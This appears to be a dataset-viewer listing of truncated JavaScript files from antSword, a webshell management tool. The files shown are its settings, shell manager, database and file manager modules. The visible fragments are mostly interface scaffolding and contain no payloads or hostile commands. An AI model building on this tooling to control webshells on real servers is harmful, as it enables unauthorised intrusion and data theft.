constructor(sidebar) {
sidebar.addItem({
id: 'aproxy',
text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`
});
const cell = sidebar.cells('ap... | /content/code_sandbox/source/modules/settings/aproxy.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,686 |
```javascript
//
//
//
// import About from './about'; import Update from './update'; import Language
// from './language'; import AProxy from './aproxy';
const About = require('./about');
// const Update = require('./update');
const Language = require('./language');
const AProxy = require('./aproxy');
const Display ... | /content/code_sandbox/source/modules/settings/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 416 |
```javascript
/**
*
*/
const LANG = antSword['language']['settings']['update'];
const LANG_T = antSword['language']['toastr'];
class Update {
constructor(sidebar) {
sidebar.addItem({
id: 'update',
text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`
});
const cell = sidebar.cells... | /content/code_sandbox/source/modules/settings/update.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,210 |
```javascript
/**
* ::
*/
const LANG = antSword['language']['settings']['about'];
class About {
constructor(sidebar) {
sidebar.addItem({
id: 'about',
selected: true,
text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`
});
const cell = sidebar.cells('about');
cell.attachHTMLSt... | /content/code_sandbox/source/modules/settings/about.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 359 |
```javascript
/**
* ::
*/
const LANG = antSword['language']['settings']['adefault'];
const LANG_T = antSword['language']['toastr'];
class ADefault {
constructor(sidebar) {
var self = this;
sidebar.addItem({
id: 'adefault',
text: `<i class="fa fa-sliders"></i> ${LANG['title']}`
});
con... | /content/code_sandbox/source/modules/settings/adefault.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 8,477 |
```javascript
/**
* ::
* 2017-05-30
* 2020-11-03
* Virink <virink@outlook.com>
* Medici.Yan <Medici.Yan@gmail.com>
* yzddMr6 <yzddmr6@gmail.com>
*/
const LANG = antSword['language']['settings']['encoders'];
const LANG_T = antSword['language']['toastr'];
const fs = require('fs');
const path = require('path');
co... | /content/code_sandbox/source/modules/settings/encoders.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 5,466 |
```javascript
/**
*
* 2016/05/09
*
* <path_to_url
*/
'use strict';
const path = global.require('path');
class Plugin {
constructor() {
//
antSword['menubar'].reg('plugin-store', this.initWin.bind(this, 'ant-views://front/plugin.html'));
this.win = null;
}
/**
*
* @param {String} u... | /content/code_sandbox/source/modules/plugin/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 305 |
```javascript
/**
* shell
*/
module.exports = {
/**
* Shell
* @param {Object} arg
* @return {[type]} [description]
*/
get: (arg = {}) => {
const ret = antSword['ipcRenderer'].sendSync('shell-find', arg);
//
let data = [];
let category = {};
ret.map((_) => {
let _c = _... | /content/code_sandbox/source/modules/shellmanager/data.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 331 |
```javascript
/**
* AntSword::ShellManager::Toolbar
* Create: 2019-09-01
* Update: 2019-09-01
* Author: Virink <path_to_url
*/
'use strict';
const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['shellmanager']['toolbar'];
const WIN = require("ui/window");
class Toolbar {
construct... | /content/code_sandbox/source/modules/shellmanager/toolbar.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,333 |
```javascript
/**
*
*/
const Grid = require('./grid');
// const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['shellmanager']['list'];
class List {
/**
*
* @param {Object} cell dhtmlx cell-object
* @param {Object} top shell-manager obj
* @return {[type]} [descrip... | /content/code_sandbox/source/modules/shellmanager/list/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 279 |
```javascript
/**
* Shell
* 2016/06/20
*/
const Data = require('./data');
const List = require('./list/');
const Toolbar = require('./toolbar');
const Category = require('./category/');
class ShellManager {
constructor() {
const tabbar = antSword['tabbar'];
tabbar.addTab('tab_shellmanager', '<i class="fa... | /content/code_sandbox/source/modules/shellmanager/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,187 |
```javascript
/**
*
*/
const Data = require('../data');
const Form = require('./form');
const ViewSite = require('../../viewsite/');
const Terminal = require('../../terminal/');
const Database = require('../../database/');
const FileManager = require('../../filemanager/');
const clipboard = require('electron').clip... | /content/code_sandbox/source/modules/shellmanager/list/contextmenu.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,137 |
```javascript
/**
*
*/
const FileManager = require('../../filemanager/');
const LANG = antSword['language']['shellmanager']['list']['grid'];
const ContextMenu = require('./contextmenu');
class Grid {
/**
*
* @param {object} cell dhtmlx.cell
* @param {object} top list
* @return {[type]} [desc... | /content/code_sandbox/source/modules/shellmanager/list/grid.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 696 |
```javascript
/**
*
*/
const LANG = antSword['language']['shellmanager']['category'];
const LANG_T = antSword['language']['toastr'];
class Toolbar {
/**
*
* @param {Object} cell dhtmlx.cell
* @param {Object} top
* @return {[type]} [description]
*/
constructor(cell, top) {
this.top ... | /content/code_sandbox/source/modules/shellmanager/category/toolbar.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,214 |
```javascript
/**
* shellmanager::category
*/
const LANG = antSword['language']['shellmanager']['category'];
const Toolbar = require('./toolbar');
const Sidebar = require('./sidebar');
class Category {
/**
*
* @param {Object} cell dhtmlx.cell
* @param {Object} top
* @return {[type]} [descrip... | /content/code_sandbox/source/modules/shellmanager/category/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 227 |
```javascript
/**
*
*/
const LANG = antSword['language']['shellmanager']['category'];
class Sidebar {
/**
*
* @param {object} cell dhtmlx.cell
* @param {object} top category
* @return {[type]} [description]
*/
constructor(cell, top) {
this.top = top;
const sidebar = cell.attachS... | /content/code_sandbox/source/modules/shellmanager/category/sidebar.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 285 |
```javascript
/**
* /
*/
const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['shellmanager'];
const ENCODES = require('../../../base/encodes');
class Form {
/**
*
* @param {object} opt ui
* @param {object} arg = {}
* @param {function} callback
*/
constructor(opt... | /content/code_sandbox/source/modules/shellmanager/list/form.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 6,546 |
```javascript
//
//
//
// TODO: core import React from
// 'react'; import ReactDOM from 'react-dom'; import AceEditor from 'react-ace';
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const crypto = require('crypto');
class Database {
constructor(opt) {
this.h... | /content/code_sandbox/source/modules/database/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 5,158 |
```javascript
module.exports = require('../php');
``` | /content/code_sandbox/source/modules/database/phpraw/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 8 |
```javascript
//
// ::ASPXCSHARP : Any
// by: yzddMr6
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
class ASPXCSHARP {
constructor(opt) {
this.opt = opt;
this.core = this.opt.core;
this.m... | /content/code_sandbox/source/modules/database/aspxcsharp/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 5,910 |
```javascript
//
// ::CUSTOM : Any
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
class CUSTOM {
constructor(opt) {
this.opt = opt;
this.core = this.opt.core;
this.manager = this.opt.super... | /content/code_sandbox/source/modules/database/custom/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 5,868 |
```javascript
//
// ::JSPJS : Any
// time: 2021/6/5
// by: yzddMr6
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
const Decodes = antSword.Decodes;
class JSPJS {
constructor(opt) {
this.opt = opt;... | /content/code_sandbox/source/modules/database/jspjs/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 6,313 |
```javascript
//
// ::PSWINDOWS : Any
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
const Decodes = antSword.Decodes;
class PSWINDOWS {
constructor(opt) {
this.opt = opt;
this.core = this.opt... | /content/code_sandbox/source/modules/database/pswindows/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 6,186 |
```javascript
//
// ::ASPX
//
module.exports = require('../asp/index');
``` | /content/code_sandbox/source/modules/database/aspx/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 16 |
```javascript
//
// ::PHP
// :mysql,mssql,oracle,informix
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
const Decodes = antSword.Decodes;
class PHP {
constructor(opt) {
this.opt = opt;
this.c... | /content/code_sandbox/source/modules/database/php/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 15,638 |
```javascript
module.exports = require('../php');
``` | /content/code_sandbox/source/modules/database/php4/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 8 |
```javascript
//
// ::JSP : Any
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
const Decodes = antSword.Decodes;
class JSP {
constructor(opt) {
this.opt = opt;
this.core = this.opt.core;
t... | /content/code_sandbox/source/modules/database/jsp/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 6,394 |
```javascript
//
// ::ASP :access,sqlserver,mysql
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
class ASP {
constructor(opt) {
this.opt = opt;
this.core = this.opt.core;
this.manager = th... | /content/code_sandbox/source/modules/database/asp/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 6,106 |
```javascript
//
//
//
const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['filemanager']['folder'];
class Folder {
// 1.cell: layout.cell
constructor(cell, manager) {
cell.setWidth(250);
// tree
let tree = cell.attachTree();
// tree
tree.attachEvent('onClick',... | /content/code_sandbox/source/modules/filemanager/folder.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 778 |
```javascript
/**
*
* 2016/05/14
* <path_to_url
*/
'use strict';
const Files = require('./files');
const Tasks = require('./tasks');
const Folder = require('./folder');
const ENCODES = require('../../base/encodes');
const fs = require('fs');
const iconv = require('iconv-lite');
const crypto = require('crypto');... | /content/code_sandbox/source/modules/filemanager/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 9,111 |
```javascript
//
//
//
/*
const task = new Task('download', 'path_to_url => /tmp/');
task.update('start download..');
task.update('100%');
task.end('download success!');
*/
const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['filemanager']['tasks'];
class Tasks {
construc... | /content/code_sandbox/source/modules/filemanager/tasks.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 593 |
```javascript
//
// ::PHP
// :mysql,mssql,oracle,informix
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
const Decodes = antSword.Decodes;
const xml2js = require('xml2js');
class CMDLINUX {
constructo... | /content/code_sandbox/source/modules/database/cmdlinux/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 15,510 |
```javascript
//
//
//
const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['filemanager']['files'];
const clipboard = require('electron').clipboard;
const Terminal = require('../terminal/');
class Files {
// 1.cell: layout.cell 2.manager index.jsx
constructor(cell, manager) {
... | /content/code_sandbox/source/modules/filemanager/files.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 5,726 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.